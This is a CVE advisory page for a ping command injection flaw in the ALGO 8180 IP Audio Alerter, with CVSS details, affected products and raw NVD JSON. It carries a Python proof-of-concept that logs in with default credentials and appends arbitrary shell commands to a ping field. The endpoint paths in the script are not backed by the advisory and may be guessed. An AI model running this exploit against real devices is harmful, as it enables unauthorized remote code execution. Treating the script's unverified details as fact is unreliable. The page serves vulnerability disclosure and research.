Security Vulnerability Report
中文
CVE-2026-0779 CVSS 8.8 HIGH

CVE-2026-0779

Published: 2026-01-23 04:16:05
Last Modified: 2026-02-18 19:04:42

Description

ALGO 8180 IP Audio Alerter Ping Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is required to exploit this vulnerability. The specific flaw exists within the web-based user interface. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-25568.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:* - NOT VULNERABLE
ALGO 8180 IP Audio Alerter 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0779 PoC - ALGO 8180 IP Audio Alerter Command Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET = "http://target-ip" USERNAME = "admin" PASSWORD = "admin" def exploit(target_ip, cmd="id"): """Execute command via ping function injection""" session = requests.Session() # Step 1: Authentication login_url = f"{target_ip}/cgi-bin/login.cgi" login_data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, data=login_data, timeout=10) # Step 2: Send malicious ping request with command injection ping_url = f"{target_ip}/cgi-bin/ping.cgi" # Inject command using semicolon separator injected_payload = f"127.0.0.1;{cmd}" ping_data = { "ipaddr": injected_payload, "count": "1" } resp = session.post(ping_url, data=ping_data, timeout=10) print(f"Response: {resp.text}") except requests.exceptions.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: exploit(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "id") else: print(f"Usage: {sys.argv[0]} <target_ip> [command]")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0779", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:05.210", "lastModified": "2026-02-18T19:04:41.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ALGO 8180 IP Audio Alerter Ping Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the web-based user interface. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-25568."}, {"lang": "es", "value": "Vulnerabilidad de inyección de comandos Ping con ejecución remota de código en ALGO 8180 IP Audio Alerter. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de dispositivos ALGO 8180 IP Audio Alerter. Se requiere autenticación para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la interfaz de usuario basada en web. El problema resulta de la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar una llamada al sistema. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del dispositivo. Fue ZDI-CAN-25568."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:*", "matchCriteriaId": "853BF5C9-122B-4F47-9CE7-DA3E307130ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:*", "matchCriteriaId": "3A20E73F-D499-4973-ADDE-8B702E6F5254"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-001/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}